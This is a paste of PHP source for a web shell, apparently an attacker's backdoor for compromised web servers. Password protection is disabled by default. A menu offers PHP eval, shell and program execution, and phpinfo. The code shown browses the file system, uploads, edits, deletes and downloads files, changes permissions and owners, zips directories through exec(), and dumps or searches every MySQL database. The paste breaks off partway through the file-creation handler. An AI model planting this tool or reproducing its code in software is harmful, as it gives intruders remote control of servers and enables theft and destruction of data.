· 9 years ago · Jul 07, 2017, 08:36 AM
1<?php
2$settings = array();
3$settings['perms'] = "string";
4$settings['timeformat'] = "j.n.y, G:i";
5$settings['passprotect'] = false; //password protection
6$settings['users'] = array();
7//$settings['users']['USERNAME'] = 'PASSWORD';
8@ini_set('log_errors',0);
9@ini_set("display_errors", "1");
10@ini_set('memory_limit', '1200M');
11set_time_limit(360);
12if(ini_get('register_globals')) {
13 foreach($_REQUEST as $key => $var) {
14 if(isset($GLOBALS[$key])) unset($GLOBALS[$key]);
15 }
16 foreach($_FILES as $key => $var) {
17 if(isset($GLOBALS[$key])) unset($GLOBALS[$key]);
18 }
19}
20
21if(!function_exists('scandir')) {
22 function scandir($dir, $sort = 0) {
23 $dirmap = array();
24 if(!is_dir($dir)) {
25 return false;
26 }
27 $dir = opendir($dir);
28 while (false !== ($file = readdir($dir))) $dirmap[] = $file;
29 closedir($dir);
30 ($sort == 1) ? rsort($dirmap) : sort($dirmap);
31 return $dirmap;
32 }
33}
34if (!function_exists('file_put_contents')) {
35 function file_put_contents($filename, $data) {
36 $f = @fopen($filename, 'w');
37 if (!$f) {
38 return false;
39 } else {
40 $bytes = fwrite($f, $data);
41 fclose($f);
42 return $bytes;
43 }
44 }
45}
46
47if($settings['passprotect']) {
48 if (!isset($_SERVER['PHP_AUTH_USER'])) {
49 header('WWW-Authenticate: Basic realm="Shell account please"');
50 header('HTTP/1.0 401 Unauthorized');
51 echo 'NO.';
52 exit;
53 } else {
54 if(isset($settings['users'][$_SERVER['PHP_AUTH_USER']])) {
55 if($settings['users'][$_SERVER['PHP_AUTH_USER']] == $_SERVER['PHP_AUTH_PW']) {
56 $authed = 1;
57 } else die("NOPE.");
58 } else die("NOPE!");
59 }
60}
61if(get_magic_quotes_gpc()) {
62 foreach($_POST as $key => $var) {
63 $_POST[$key] = stripslashes($var);
64 }
65 foreach($_GET as $key => $var) {
66 $_GET[$key] = stripslashes($var);
67 }
68 foreach($_FILES as $key => $var) {
69 $_FILES[$key] = stripslashes($var);
70 }
71 foreach($_REQUEST as $key => $var) {
72 $_REQUEST[$key] = stripslashes($var);
73 }
74}
75if(!function_exists('sys_get_temp_dir')) {
76 function sys_get_temp_dir() {
77 return "/tmp";
78 }
79}
80function post($v) {
81 if(isset($_POST[$v])) return $_POST[$v];
82 else return null;
83}
84function get($v) {
85 if(isset($_GET[$v])) return $_GET[$v];
86 else return null;
87}
88function request($v) {
89 if(isset($_REQUEST[$v])) return $_REQUEST[$v];
90 else return null;
91}
92
93function files($v) {
94 if(isset($_FILES[$v])) return $_FILES[$v];
95 else return null;
96}
97
98function showperms($perms,$type="string") {
99 switch($type) {
100 default:
101 case "string":
102 if (($perms & 0xC000) == 0xC000) {
103 // Socket
104 $info = 's';
105 } elseif (($perms & 0xA000) == 0xA000) {
106 // Symbolic Link
107 $info = 'l';
108 } elseif (($perms & 0x8000) == 0x8000) {
109 // Regular
110 $info = '-';
111 } elseif (($perms & 0x6000) == 0x6000) {
112 // Block special
113 $info = 'b';
114 } elseif (($perms & 0x4000) == 0x4000) {
115 // Directory
116 $info = 'd';
117 } elseif (($perms & 0x2000) == 0x2000) {
118 // Character special
119 $info = 'c';
120 } elseif (($perms & 0x1000) == 0x1000) {
121 // FIFO pipe
122 $info = 'p';
123 } else {
124 // Unknown
125 $info = 'u';
126 }
127
128 // Owner
129 $info .= (($perms & 0x0100) ? 'r' : '-');
130 $info .= (($perms & 0x0080) ? 'w' : '-');
131 $info .= (($perms & 0x0040) ?
132 (($perms & 0x0800) ? 's' : 'x' ) :
133 (($perms & 0x0800) ? 'S' : '-'));
134
135 // Group
136 $info .= (($perms & 0x0020) ? 'r' : '-');
137 $info .= (($perms & 0x0010) ? 'w' : '-');
138 $info .= (($perms & 0x0008) ?
139 (($perms & 0x0400) ? 's' : 'x' ) :
140 (($perms & 0x0400) ? 'S' : '-'));
141
142 // World
143 $info .= (($perms & 0x0004) ? 'r' : '-');
144 $info .= (($perms & 0x0002) ? 'w' : '-');
145 $info .= (($perms & 0x0001) ?
146 (($perms & 0x0200) ? 't' : 'x' ) :
147 (($perms & 0x0200) ? 'T' : '-'));
148 return $info;
149 break;
150 case "number":
151 return substr(sprintf('%o', $perms), -4);
152 break;
153 }
154
155}
156
157
158function gettablesql($table,$ver = null) {
159 if($ver == null) {
160 list($cver) = mysql_fetch_row(mysql_query("SELECT @@version"));
161 $ver = substr($cver,0,1);
162 }
163 echo 'CREATE TABLE IF NOT EXISTS `'.mysql_real_escape_string($table).'` ('."\n";
164 $gcqu = "SHOW COLUMNS IN `".mysql_real_escape_string($table)."`";
165 $getcolumns = mysql_query($gcqu);
166 if($getcolumns) {
167 $isfirst = 1;
168 $primaries = $npkeys = array();
169 while($column = mysql_fetch_assoc($getcolumns)) {
170 if(!$isfirst) echo ",\n";
171 else $isfirst = 0;
172 echo ' `'.mysql_real_escape_string($column['Field']).'` '.$column['Type'];
173 if(strtoupper($column['Null']) == "NO") echo ' NOT NULL ';
174 else echo ' NULL ';
175 if($column['Extra'] == "auto_increment") echo "AUTO_INCREMENT";
176 elseif($column['Default'] && $column['Type'] == 'timestamp' && $column['Default'] == 'CURRENT_TIMESTAMP') echo "DEFAULT ".mysql_real_escape_string($column['Default']);
177 elseif($column['Default']) echo "DEFAULT '".mysql_real_escape_string($column['Default'])."'";
178 if($column['Key'] == "PRI") $primaries[] = $column['Field'];
179 elseif($column['Key'] == "UNI") echo ",\n UNIQUE KEY (`".mysql_real_escape_string($column['Field'])."`)";
180 else {
181 if($ver >= 5) $gkqu = "SHOW KEYS IN `".mysql_real_escape_string($table)."` WHERE `Table`='".mysql_real_escape_string($table)."' && `Column_name`='".mysql_real_escape_string($column['Field'])."'";
182 else $gkqu = "SHOW KEYS IN `".mysql_real_escape_string($table)."`";
183 $getkeys = mysql_query($gkqu);
184 if($getkeys) {
185 while($key = mysql_fetch_assoc($getkeys)) {
186 if($ver >= 5 || ($key['Table'] == $table && $key['Column_name'] == $column['Field'])) {
187 $npkeys[$key['Key_name']][] = $key;
188 }
189 }
190 } else die("\nMySQL error: ".mysql_error()." in '".$gkqu."'\n");
191 }
192 }
193 if($npkeys) {
194 foreach($npkeys as $keyname => $key) {
195 if(count($key) == 1) {
196 //no multirow key
197 $key = $key[0];
198 if($key['Non_unique']) {
199 echo ",\n KEY (`".mysql_real_escape_string($key['Column_name'])."`".($key['Sub_part'] ? "(".$key['Sub_part'].")" : '').")";
200 }
201 else {
202 echo ",\n UNIQUE KEY (`".mysql_real_escape_string($key['Column_name'])."`".($key['Sub_part'] ? "(".$key['Sub_part'].")" : '').")";
203 }
204 } else {
205 if($key[0]['Non_unique']) {
206 echo ",\n KEY (";
207 }
208 else {
209 echo ",\n UNIQUE KEY (";
210 }
211 $isfirst = 1;
212 foreach($key as $keypart) {
213 if(!$isfirst) echo ", ";
214 else $isfirst = 0;
215 echo '`'.mysql_real_escape_string($keypart['Column_name']).'`'.($keypart['Sub_part'] ? "(".$keypart['Sub_part'].")" : '');
216 }
217 echo ")";
218
219 }
220 }
221 }
222 if($primaries) {
223 echo ",\n PRIMARY KEY (";
224 $isfirst = 1;
225 foreach($primaries as $primary) {
226 if(!$isfirst) echo ", ";
227 else $isfirst = 0;
228 echo '`'.mysql_real_escape_string($primary).'`';
229 }
230 echo ")\n";
231 }
232 } else die("\nMysql Errror: ".mysql_error()." in '".$gcqu."'\n");
233 echo ");\n\n";
234}
235function gettablecontentsql($table,$insertbreak = 10,$ver = 0,$partial = "",$limit = "",$order = "") {
236 if($ver == null) {
237 list($cver) = mysql_fetch_row(mysql_query("SELECT @@version"));
238 $ver = substr($cver,0,1);
239 }
240 $gcqu = "SHOW COLUMNS IN `".mysql_real_escape_string($table)."`";
241 $getcolumns = mysql_query($gcqu);
242 if($getcolumns) {
243 $columns = array();
244 while($column = mysql_fetch_assoc($getcolumns)) {
245 list($type) = explode("(",$column['Type'],2);
246 $columns[] = $column + array('rtype' => $type);
247 if($column['Extra'] == "auto_increment") $aitab = $column['Field'];
248 }
249 } else die("\nMySQL error: ".mysql_error()." in '".$gcqu."'\n");
250 $insertstart = "INSERT INTO `".mysql_real_escape_string($table)."` (";
251 $isfirst = true;
252 foreach($columns as $column) {
253 if(!$isfirst) $insertstart .= ", ";
254 else $isfirst = false;
255 $insertstart .= "`".mysql_real_escape_string($column['Field'])."`";
256 }
257 $insertstart .= ") VALUES (";
258 $insertend = ");\n";
259 $getdatasql = "SELECT * FROM `".mysql_real_escape_string($table)."` ".$partial." ".(!$order ? (!empty($aitab) ? (" ORDER BY `".mysql_real_escape_string($aitab)."`") : "") : $order )." ".$limit;
260 $getrows = mysql_query($getdatasql);
261 if(!$getrows) {
262 echo "\nMySQL error: ".mysql_error()." in: \n".$getdatasql;
263 return false;
264 }
265 $i = 0;
266 while($row = mysql_fetch_assoc($getrows)) {
267 if(!($i%$insertbreak)) echo $insertstart;
268 else echo ", (";
269 $isfirst = true;
270 foreach($columns as $column) {
271 if(!$isfirst) echo ", ";
272 else $isfirst = false;
273 if($column['Null'] == "YES" && $row[$column['Field']] === null) echo "null";
274 else {
275 switch($column['rtype']) {
276 default: echo "'".mysql_real_escape_string($row[$column['Field']])."'"; break;
277 case "tinyint": case "int": case "float": case "bigint": case "smallint": echo $row[$column['Field']]; break;
278
279 }
280 }
281 }
282 if(!(($i+1)%$insertbreak)) echo $insertend;
283 else echo ")";
284 $i++;
285 }
286 if($i != 0) echo ";\n";
287}
288function findindb($needle,$type='col',$identical = 0) {
289 $getdatabases = mysql_list_dbs();
290 while ($db = mysql_fetch_row($getdatabases)) {
291 mysql_query("USE `".$db[0]."`");
292 $gettables = mysql_query("SHOW TABLES");
293 while($table= mysql_fetch_row($gettables)) {
294 if($type == 'col') {
295 $getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string($table[0])."`");
296 if($getcolumns) {
297 while($column = mysql_fetch_assoc($getcolumns)) {
298 foreach($needle as $n) {
299 if((!$identical && stripos($column['Field'],$n) !== false) || ($identical && strtolower($column['Field']) == strtolower($n)) ) {
300 echo "Database: <b>".htmlentities($db[0])."</b> Table: <b>".htmlentities($table[0])."</b> Column: <b>".htmlentities($column['Field'])."</b> Found: ".htmlentities($n)."<br />";
301 break;
302 }
303 }
304 }
305 }
306 } elseif($type == 'table') {
307 foreach($needle as $n) {
308 if((!$identical && stripos($table[0],$n) !== false) || ($identical && strtolower($table[0]) == strtolower($n)) ) {
309 echo "Database: <b>".htmlentities($db[0])."</b> Table: <b>".htmlentities($table[0])."</b> Found: ".htmlentities($n)."<br />";
310 break;
311 }
312 }
313 }
314 }
315 }
316}
317function get_iden_query($iden) {
318 if($iden) {
319 $iden = base64_decode($iden);
320 $crit = explode("&",$iden);
321 if($crit) {
322 $query = "";
323 $error = 0;
324 foreach($crit as $cr) {
325 if(strpos($cr,"=") !== false) {
326 $crits = explode("=",$cr,2);
327 $query .= ($query ? " &&" : "")." `".mysql_real_escape_string($crits[0])."`='".mysql_real_escape_string($crits[1])."'";
328 } else {
329 $error = 1;
330 break;
331 }
332 }
333 if(!$error) {
334 return $query;
335 } else echo "Error: invalid data specified.";
336 } else echo "Error: No specific row selected.";
337 } else echo "Error: That row doesn't exist (anymore?)";
338 return false;
339}
340$action = get('action');
341if(!request('shownone')) {
342?>
343<div style="font-size:12px; margin:0px; margin-bottom:5px; border:0px; border-bottom:1px black solid; padding:0px; ">
344 [<a href="?action=dir">Files/directories</a>]
345 [<a href="?action=eval">Execute PHP Code (eval)</a>]
346 [<a href="?action=shellexec">Execute Shell</a>]
347 [<a href="?action=exec">Execute ext. program</a>]
348 [<a href="?action=phpinfo">PHPInfo();</a>]
349 [<a href="?action=showglobals">Show all vars</a>]
350 [<a href="?action=mysql">MySQL</a>]
351 [<a href="?action=system">System</a>]
352 <br>
353 [<?php $thingcache = @php_uname(); if($thingcache) list($kernel) = explode("#",$thingcache,2); else $kernel = "Couldn't retrieve Kernel version"; echo $kernel; ?>]
354 [PHP Ver: <?php echo phpversion(); ?>]
355 <?php if(function_exists('php_ini_loaded_file')) { ?>[Ini file: <?php echo php_ini_loaded_file(); ?>]<?php } ?>
356 [User: <?php $thingcache = @get_current_user(); if($thingcache) echo $thingcache; else echo "Couldn't retrieve"; ?>]
357 [GID: <?php $thingcache = @getmygid(); if($thingcache) echo $thingcache; else echo "Couldn't retrieve"; ?>]
358 [UID: <?php $thingcache = @getmyuid();if($thingcache) echo $thingcache; else echo "Couldn't retrieve"; ?>]
359 [Safe mode: <?php if(ini_get("safe_mode") || strtolower(ini_get("safe_mode")) == "on") echo "on"; else echo "off"; ?>]
360 [Open basedir: <?php if(ini_get("open_basedir") || strtolower(ini_get("open_basedir")) == "on") echo "on"; else echo "off"; ?>]
361 <br><span style="font-size:11px;">[Server: <?php echo htmlentities($_SERVER['SERVER_SOFTWARE']);?>]</span>
362 <br><span style="font-size:11px;">[Server IP: <?php echo htmlentities($_SERVER['SERVER_ADDR']);?> (<?php echo htmlentities($_SERVER['SERVER_NAME']);?>)] [Your IP: <?php echo htmlentities($_SERVER['REMOTE_ADDR']);?> (<?php echo htmlentities(gethostbyaddr($_SERVER['REMOTE_ADDR']));?>)]
363 [Space: <?php if(@disk_free_space(getcwd()) && @disk_total_space(getcwd())) { echo round(disk_free_space(getcwd())/(1024*1024*1024),2);?>/<?php echo round(disk_total_space(getcwd())/(1024*1024*1024),2);?>GB<?php } else echo "Couldn't retrieve"; ?>] [Script pos: <a href="?action=dir&dir=<?php echo urlencode(getcwd());?>"><?php echo getcwd(); ?></a>]</span>
364
365 </div>
366<?php
367}
368switch($action) {
369 default:
370 case "dir":
371 //add other options here later
372 case "listdir":
373 if(!get('dir')) $dir = getcwd();
374 else $dir = get('dir');
375 ?>
376 <form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
377 <input type="hidden" name="action" value="<?php echo htmlentities($action); ?>">
378 Directory navigation: <input type="text" name="dir" value="<?php echo htmlentities($dir);?>" size="60">
379 <input type="submit" value="List Dir">
380 </form>
381 <form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
382 <input type="hidden" name="action" value="touch">
383 Touch (create) file: <input type="text" name="file" value="<?php echo htmlentities($dir);?>/" size="60">
384 <input type="submit" value="Make file">
385 </form>
386 <form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
387 <input type="hidden" name="action" value="file">
388 Edit file: <input type="text" name="file" value="<?php echo htmlentities($dir);?>/" size="60">
389 <input type="submit" value="Open file">
390 </form>
391 <form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
392 <input type="hidden" name="action" value="mkdir">
393 Make directory: <input type="text" name="dir" value="<?php echo htmlentities($dir);?>/" size="60">
394 <input type="submit" value="Make dir">
395 </form>
396 <form style="margin:0px;" enctype="multipart/form-data" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>?action=upfile" method="POST">
397 <input type="hidden" name="dir" value="<?php echo htmlentities($dir); ?>">
398 Upload file to this dir: <input name="file" type="file">
399 <input type="submit" value="Upload file">
400 overwrite? <input type="checkbox" name="overwrite" value="1" />
401 rename? <input type="text" name="fname" value="" size="20">
402 </form>
403
404 <?php
405 if(@is_dir($dir)) {
406 if($dircontent = scandir($dir)) {
407 echo "<table border=\"1\">";
408 ?><tr><td>type</td><td>go</td><td>X</td><td>DL</td><td>name</td><td>size</td><td>mode</td><td>owner</td><td>group</td><td>access</td><td>change</td></tr><?php
409 foreach($dircontent as $thing) {
410 if(@is_dir($dir."/".$thing)) $isdir = true;
411 else $isdir = false;
412
413 if($thing == ".") $thingpath = "/";
414 else $thingpath = @realpath($dir."/".$thing);
415 ?>
416 <tr>
417 <td>
418 <?php
419 if($isdir) echo "<font color=\"#AAAA00\"><b>dir</b></font>";
420 else echo "<font color=\"#AAAAAA\"><b>file</b></font>";
421 ?>
422 </td>
423 <td>
424 <?php
425 if($isdir) echo "<a href=\"?action=listdir&dir=".urlencode($thingpath)."\">go</a>";
426 else echo "<a href=\"?action=file&file=".urlencode($thingpath)."\">go</a>";
427 ?>
428 </td>
429 <td>
430 <?php
431 if($isdir) { if($thingpath != "/") echo "<a href=\"?action=rmdir&dir=".urlencode($thingpath)."\">rm</a>"; }
432 else echo "<a href=\"?action=delfile&file=".urlencode($thingpath)."\">del</a>";
433 ?>
434 </td>
435 <td>
436 <?php
437 if(!$isdir) echo "<a href=\"?action=dlfile&shownone=true&file=".urlencode($thingpath)."\">dl</a>";
438 else echo "<a href=\"?action=zipdir&shownone=true&dir=".urlencode($thingpath)."\">zip</a>";
439 ?>
440 </td>
441 <td>
442 <b><?php echo htmlentities($thing); ?></b>
443 </td>
444 <td>
445 <?php
446 if($isdir) { echo "-"; }
447 else echo ((round(filesize($thingpath)/1024,2) != 0) ? (round(filesize($thingpath)/1024,2)." kb") : (filesize($thingpath)."b"));
448 ?>
449 </td>
450 <td>
451 <b style='font-family:courier,"courier new";'>
452 <?php
453 echo showperms(@fileperms($thingpath),$settings['perms']);
454 ?>
455 </b>
456 </td>
457 <td>
458 <?php
459 echo @fileowner($thingpath);
460 ?>
461 </td>
462 <td>
463 <?php
464 echo @filegroup($thingpath);
465 ?>
466 </td>
467 <td>
468 <?php
469 echo date($settings['timeformat'],@fileatime($thingpath));
470 ?>
471 </td>
472 <td><b>
473 <?php
474 echo date($settings['timeformat'],@filectime($thingpath));
475 ?>
476 </b></td>
477 </tr>
478 <?php
479 }
480 echo "</table>";
481 } else {
482 echo "<b>Error:</b> No permission to open \"".htmlentities($dir)."\". DENIED!<br>";
483 }
484 } else {
485 echo "<font color=\"#990000\">";
486 if(!file_exists($dir)) echo "<b>Error:</b> \"".htmlentities($dir)."\" does not exist.<br>";
487 else echo "<b>Error:</b> \"".htmlentities($dir)."\" is not a directory<br>";
488 echo "</font>";
489 }
490
491 break;
492 case "upfile":
493 if($file = files('file')) {
494 $dir = (trim(post('dir')) && is_dir(trim(post('dir')))) ? trim(post('dir')) : getcwd();
495 if(substr($dir,-1,1) != "/") $dir .= "/";
496 if(trim(post('fname'))) $filename = $dir.trim(post('fname'));
497 else $filename = $dir.$file['name'];
498 if(file_exists($filename)) {
499 echo "<font color=\"#990000\">File ".htmlentities($filename)." already exists!</font><br>";
500 }
501 if(!file_exists($filename) || post('overwrite')) {
502 if(file_exists($filename)) echo "<b>Overwriting...</b><br>";
503 if(move_uploaded_file($file['tmp_name'], $filename)) {
504 echo "<font color=\"#00AA00\"><b>FILE UPLOADED!</b></font><br>";
505 } else {
506 echo "<font color=\"#990000\">Upload failed. Fuck. </font><br>";
507 }
508 }
509
510 } else echo "<font color=\"#990000\"><b>Error:</b> No file uploaded</font><br>";
511 ?>
512[<a href="?action=dir&dir=<?php echo urlencode($dir);?>">containing directory</a>]
513[<a href="?action=delfile&file=<?php echo urlencode($filename);?>">delete again</a>]
514[<a href="?action=php&file=<?php echo urlencode($filename);?>">as php source</a>]
515[<a href="?action=html&file=<?php echo urlencode($filename);?>">as html</a>]
516[<a href="?action=file&file=<?php echo urlencode($filename);?>">edit file</a>]
517
518 <?php
519 break;
520 case "file":
521 case "editfile":
522 $file = get('file');
523 if($file) {
524 if(is_file($file)) {
525 if(post('newname') && post('newname') != $file) {
526 if(post('fnoverwrite') || !file_exists(post('newname'))) {
527 if(rename($file,post('newname'))) {
528 echo "<font color=\"#00AA00\"><b>File name changed successfully</b></font><br>";
529 $file = post('newname');
530 }
531 else echo "<font color=\"#990000\"><b>Error:</b> Failed to change file name</font><br>";
532 } else echo "<font color=\"#990000\"><b>Error:</b> Failed to change file name - a file with that name already exists!</font><br>";
533 }
534 if(post('copyto') && post('copyto') != $file) {
535 if(post('fcoverwrite') || !file_exists(post('copyto'))) {
536 if(copy($file,post('copyto'))) {
537 echo "<font color=\"#00AA00\"><b>File copied successfully</b></font><br>";
538 }
539 else echo "<font color=\"#990000\"><b>Error:</b> Failed to copy file</font><br>";
540 } else echo "<font color=\"#990000\"><b>Error:</b> Failed to copy file - a file with that name already exists!</font><br>";
541 }
542 if(post('chmod') && post('chmod') != substr(sprintf('%o', fileperms($file)),-4)) {
543 if(preg_match("/^([0-8]{3,4})$/",post('chmod')) ) {
544 if(chmod($file,octdec(post('chmod')))) {
545 echo "<font color=\"#00AA00\"><b>File CHMod to ".htmlspecialchars(post('chmod'))." successful</b></font><br>";
546 $chmod = htmlspecialchars(post('chmod'));
547 }
548 else echo "<font color=\"#990000\"><b>Error:</b> Failed to CHMod</font><br>";
549 } else echo "<font color=\"#990000\"><b>Error:</b> That is not a valid CHMod number.</font><br>";
550 }
551 if(post('owner') && post('owner') != fileowner($file)) {
552 if(chown($file,post('owner'))) echo "<font color=\"#00AA00\"><b>File owner changed successfully</b></font><br>";
553 else echo "<font color=\"#990000\"><b>Error:</b> Failed to change owner </font><br>";
554 }
555 if(post('group') && post('group') != filegroup($file)) {
556 if(chgrp($file,post('group'))) echo "<font color=\"#00AA00\"><b>File group changed successfully</b></font><br>";
557 else echo "<font color=\"#990000\"><b>Error:</b> Failed to change group </font><br>";
558 }
559 }
560 }
561 case "php":
562 case "html":
563 $file = get('file');
564 ?>
565 <form method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
566 <input type="hidden" name="action" value="<?php echo htmlentities($action); ?>">
567 File: <input type="text" name="file" value="<?php echo htmlentities($file);?>" size="60">
568 <input type="submit" value="List">
569 </form>
570
571 <?php
572 if($file) {
573 if(is_file($file)) {
574 $info = pathinfo($file);
575 if(post('contents')) {
576 if(file_put_contents($file,post('contents'))) {
577 echo "<font color=\"#00AA00\"><b>File edited successfully</b></font><br>";
578 } else echo "<font color=\"#990000\"><b>Error:</b> Can't writing to file!</font><br>";
579 }
580 if(!isset($chmod)) $chmod = substr(sprintf('%o', fileperms($file)),-4);
581 ?>
582 <form method="POST" action="<?php echo htmlentities(post('SCRIPT_NAME'));?>?action=<?php echo htmlentities($action); ?>&file=<?php echo htmlentities($file)?>">
583 new file name/path: <input type="text" name="newname" value="<?php echo htmlentities($file);?>" size="60"> <input type="checkbox" name="fnoverwrite" value="1">Overwrite existing files<br>
584 copy to: <input type="text" name="copyto" value="" size="60"> <input type="checkbox" name="fcoverwrite" value="1">Overwrite existing files<br>
585 new CHMOD: <input type="text" name="chmod" value="<?php echo $chmod;?>" size="60"><br>
586 new File owner (id or name): <input type="text" name="owner" value="<?php echo htmlentities(fileowner($file));?>" size="60"><br>
587 new File group (id or name): <input type="text" name="group" value="<?php echo htmlentities(filegroup($file));?>" size="60"><br>
588 <?php
589 if($action != "php" && $action != "html") {
590 ?>
591 <textarea name="contents" style="width:80%; height:500;"><?php
592 $handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
593 if($handle) {
594 while (!feof($handle)) {
595 $buffer = fgets($handle, 4096);
596 echo htmlentities($buffer);
597 }
598 fclose ($handle);
599 } else echo "Could not open file! Denied!";
600 ?></textarea><br>
601 <?php
602 } elseif($action == "php") {
603 echo "<hr />";
604 if(highlight_file($file));
605 else echo "Could not open file! Denied!";
606 echo "<hr />";
607 } elseif($action == "html") {
608 echo "<hr />";
609 $handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
610 if($handle) {
611 while (!feof($handle)) {
612 $buffer = fgets($handle, 4096);
613 echo $buffer;
614 }
615 fclose ($handle);
616 } else echo "Could not open file! Denied!";
617 echo "<hr />";
618 }
619 ?>
620 <input type="submit" value="edit!"> [<a href="?action=dir&dir=<?php echo urlencode($info['dirname']);?>">containing directory</a>] [<a href="?action=delfile&file=<?php echo urlencode($file);?>">delete</a>] [<a href="?action=php&file=<?php echo urlencode($file);?>">as php source</a>] [<a href="?action=html&file=<?php echo urlencode($file);?>">as html</a>] [<a href="?action=file&file=<?php echo urlencode($file);?>">edit file</a>]
621 </form>
622 <?php
623 } else {
624 echo "<font color=\"#990000\">";
625 if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
626 else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a file<br>";
627 echo "</font>";
628 }
629 }
630 break;
631 case "delfile":
632 $file = get('file');
633 if($file) {
634 if(is_file($file)) {
635 if(post('sure')) {
636 if(unlink($file)) echo "<font color=\"#00AA00\"><b>File \"".htmlentities($file)."\" deleted successfully!</b></font><br><a href=\"?action=dir&dir=".htmlentities(( substr($file,0,strrpos($file,'/')) ))."\">Back to the directory listing</a>";
637 else echo "<font color=\"#990000\"><b>Error while deleting the file \"".htmlentities($file)."\"!</b></font>";
638 } else {
639 ?>
640 <form method="POST">
641 Do you really want to delete the file "<?php echo htmlentities($file); ?>"?<br>
642 <input type="checkbox" name="sure" value="1"> Yes.<br>
643 <input type="submit" value="Do it!">
644 </form>
645 <?php
646 }
647 } else {
648 echo "<font color=\"#990000\">";
649 if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
650 else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a file<br>";
651 echo "</font>";
652 }
653 }
654 break;
655 case "dlfile":
656 $file = get('file');
657 if($file) {
658 if(is_file($file)) {
659 $ffile = substr(strrchr($file,'/'),1);
660 $handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
661 if($handle) {
662 header('Content-Disposition: attachment; filename="'.$ffile.'"');
663 header('Content-Transfer-Encoding: binary');
664 header("Content-Length: " . filesize($file));
665 while (!feof($handle)) {
666 $buffer = fgets($handle, 4096);
667 echo $buffer;
668 }
669 fclose ($handle);
670 } else echo "Could not open file! Denied!";
671 } else echo "not a file";
672 } else echo "no file";
673 break;
674 case "rmdir":
675 $dir = get('dir');
676 if($dir) {
677 if(is_dir($dir)) {
678 if(post('sure')) {
679 if(rmdir($dir)) echo "<font color=\"#00AA00\"><b>directory \"".htmlentities($dir)."\" deleted successfully!</b></font><br><a href=\"?action=dir\">Back to the directory listing</a>";
680 else echo "<font color=\"#990000\"><b>Error while deleting the directory \"".htmlentities($dir)."\"! (maybe it's not empty?)</b></font>";
681 } else {
682 ?>
683 <form method="POST">
684 Do you really want to delete the directory "<?php echo htmlentities($dir); ?>"? (it has to be empty)<br>
685 <input type="checkbox" name="sure" value="1"> Yes.<br>
686 <input type="submit" value="Do it!">
687 </form>
688 <?php
689 }
690 } else {
691 echo "<font color=\"#990000\">";
692 if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
693 else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a directory<br>";
694 echo "</font>";
695 }
696 }
697 break;
698 case "zipdir":
699 ignore_user_abort(true);//this is to make sure the zip archive gets deleted from the temp folder
700 $dir = get('dir');
701 if($dir) {
702 if(is_dir($dir)) {
703 $fdir = substr(strrchr(substr($dir,1),'/'),1);
704 if(1) {
705 //echo "<font color=\"#990000\">ZipArchive class not available! Can't zip anything!</font>";
706 //Zip not available -> using cmd instead
707 $tmpfile = tempnam(sys_get_temp_dir(), "zip").".zip";
708 if(!isset($_GET['tar']) && $cmd = exec("zip -r \"".$tmpfile."\" \"".realpath($dir)."\"",$output,$ret)) {
709 $handle = fopen ($tmpfile, "r");//not using file_get_contents in case the file is too big for the memory
710 if($handle) {
711 header("Content-Type: application/zip");
712 header("Content-Length: " . filesize($tmpfile));
713 header("Content-Disposition: attachment; filename=\"".$fdir.".zip\"");
714 while (!feof($handle)) {
715 echo fgets($handle, 4096);
716 }
717 fclose ($handle);
718 } else {
719 echo "Could not open zip. Weird.";
720 }
721 if(file_exists($tmpfile)) unlink($tmpfile);
722 } else {
723 //echo "zip failed:<br /> ".nl2br(htmlentities(print_r($output,true)))." <hr /> (".htmlentities($ret).") / (".htmlentities($tmpfile).")";
724 if(file_exists($tmpfile)) unlink($tmpfile);
725
726 $tmpfile = tempnam(sys_get_temp_dir(), "tar").".tar";
727 $cmdd = "tar -cf \"".$tmpfile."\" \"".realpath($dir)."\"";
728 $cmd = exec($cmdd,$output,$ret);
729 if(!$ret) {
730 $handle = fopen ($tmpfile, "r");//not using file_get_contents in case the file is too big for the memory
731 if($handle) {
732 header("Content-Type: application/tar");
733 header("Content-Length: " . filesize($tmpfile));
734 header("Content-Disposition: attachment; filename=\"".$fdir.".tar\"");
735 while (!feof($handle)) {
736 echo fgets($handle, 4096);
737 }
738 fclose ($handle);
739 } else {
740 echo "Could not open tar. Weird.";
741 }
742 if(file_exists($tmpfile)) unlink($tmpfile);
743 } else echo "tar failed: ".htmlentities($cmdd)."<br /> ".nl2br(htmlentities(print_r($output,true)))." <hr /> (".htmlentities($ret).") / (".htmlentities($tmpfile).")";
744 if(file_exists($tmpfile)) unlink($tmpfile);
745 }
746 }
747 } else {
748 echo "<font color=\"#990000\">";
749 if(!file_exists($dir)) echo "<b>Error:</b> \"".htmlentities($dir)."\" does not exist.<br>";
750 else echo "<b>Error:</b> \"".htmlentities($dir)."\" is not a directory<br>";
751 echo "</font>";
752 }
753 }
754 break;
755 case "touch":
756 $file = get('file');
757 $info = pathinfo($file);
758 if($file) {
759 if(@touch($file)) {
760 echo "<font color=\"#00AA00\"><b>File \"".htmlentities($file)."\" touched successfully!</b></font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($info['dirname'])."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=file&file=".urlencode($file)."\">to the file</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
